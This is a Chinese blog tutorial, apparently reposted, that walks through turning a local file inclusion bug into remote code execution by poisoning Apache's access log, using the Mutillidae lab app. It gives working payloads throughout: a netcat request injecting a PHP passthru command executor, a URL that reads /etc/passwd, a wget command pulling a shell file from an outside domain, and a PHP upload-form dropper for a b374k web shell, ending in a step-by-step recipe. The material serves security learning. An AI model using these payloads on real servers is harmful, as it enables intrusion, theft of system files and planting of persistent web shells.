您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關怎么通過APACHE ACCESS LOG來利用LFI漏洞,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
本地文件包含(LFI)漏洞,常被入侵者用來提取站點所在服務器上的不同文件內容,如passwd,hosts等。但你有沒有想過將它提升到另一個層級?即通過本地文件包含來獲取服務器上的瀏覽器shell(c99,b374k等)。
我將使用我本地的滲透測試環境設置為例。我當前所使用的web應用程序是Mutillidae。此外,我們必須將Apache配置為允許目錄遍歷。
<Directory /path/to/document/root> Options Indexes </Directory>
首先我們來尋找LFI漏洞,點擊鏈接后我們可以看到如下的url地址:
/index.php?page=
讓我們嘗試包含一個敏感文件路徑/etc/passwd,看看會發生什么。如下:
/index.php?page=/etc/passwd
竟然成功讀取到了文件內容!這也為我們驗證了該應用確實存在本地文件包含漏洞。接下來我們來包含Apache access log,看看是否也能訪問到其中的內容。
訪問日志的位置和文件名在不同的系統上會有所差異,在我的系統上是/var/log/apache2/access.log。將url修改如下:
/index.php?page=/var/log/apache2/access.log
太棒了!訪問日志的內容也成功被加載。
經過以上的初步驗證,現在是時候進入到我們的第二階段了。
在此之前,你必須要對Apache日志有所了解。
服務器訪問日志記錄服務器處理的所有請求。
參考來源:http://httpd.apache.org/docs/1.3/logs.html#accesslog
這也意味著我們發送到服務器上的任何請求都將會被保存到這里。
首先我們打開一個終端,然后使用netcat向服務器發送一個GET請求。我們之所以沒有使用瀏覽器發送此請求,是因為它會對我們的請求進行url編碼,這將導致它無法正常工作。我們注入的代碼如下:
<?php passthru($_GET['cmd']); ?>
關于passthru()函數:
passthru - 執行外部程序并顯示原始輸出
參考來源:http://php.net/passthru
要使用netcat發送請求,我們需要在終端中執行以下操作:
ncat 192.168.56.101 80
然后我們鍵入以下內容:
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 Host: 192.168.56.101 Connection: close
注:這里你必須將192.168.56.101更改為你目標的IP地址。這是我虛擬機的IP地址。
最終看起來應該像下面這樣:
$ ncat 192.168.56.101 80 GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 Host: 192.168.56.101 Connection: close HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2014 17:34:53 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1 Vary: Accept-Encoding Content-Length: 202 Connection: close Content-Type: text/html; charset=iso-8859-1 404 Not Found</pre> <h2>Not Found</h2> <pre> The requested URL /< was not found on this server.
現在讓我們來驗證下我們的注入是否有效,返回瀏覽器并向URL添加一個新參數:
cmd=
在我們的例子中,我將使用id命令:
/index.php?page=/var/log/apache2/access.log&cmd=id
現在,我們來看看我們得到的輸出。 仔細看,你會看到類似于紅框標注的內容:
我們的命令在服務器上成功被執行!
下面是我們的重頭戲,即獲取服務器的瀏覽器shell。這里有兩種方法,第一種是使用wget,第二種是注入上傳表單。我們先來介紹第一種。
Wget是一個文件下載命令。雖然并非總是那么有效,但作為最簡單的方法是我們首先需要去嘗試的。將cmd參數更改如下:
&cmd=wget http://somedomain.com/shellfile.php
這將把shellfile.php下載到服務器,并將其保存在當前的工作目錄中(如果可讀的話)。如果你想要將它保存在其它位置,你可以參考wget手冊。通過這種方法,可以為你省去上傳表單的中間步驟。
如果wget不起作用,我們可以使用上傳表單這種方法。我們將在服務器上執行echo命令,該命令將會將我們的任意內容寫入到文件。將cmd參數更改如下:
<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
這將在服務器上創建一個帶有上傳表單的文件。然后我們在瀏覽器中打開該上傳頁面,上傳我們的瀏覽器shell。
如下所示,我們成功上傳了b374k shell。
1.通過獲取passwd,hosts等文件來驗證LFI漏洞;
2.通過LFI漏洞獲取Apache日志訪問;
3.使用netcat或類似工具發送惡意請求;
4.通過測試id,whoami等簡單命令來驗證代碼執行;
5.使用wget或將上傳表單寫入服務器,將瀏覽器shell添加到服務器上;
6.訪問瀏覽器shell驗證是否成功。
雖然這本身并不是一個超高風險的漏洞,但在被正確利用的情況下也可能會帶來巨大的安全威脅。
以上就是怎么通過APACHE ACCESS LOG來利用LFI漏洞,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。